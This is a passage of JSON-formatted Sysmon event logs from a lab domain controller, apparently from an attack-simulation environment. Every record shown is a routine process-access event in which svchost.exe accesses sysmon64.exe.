11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.091\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.091","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.091\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.091","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.091\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.091","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 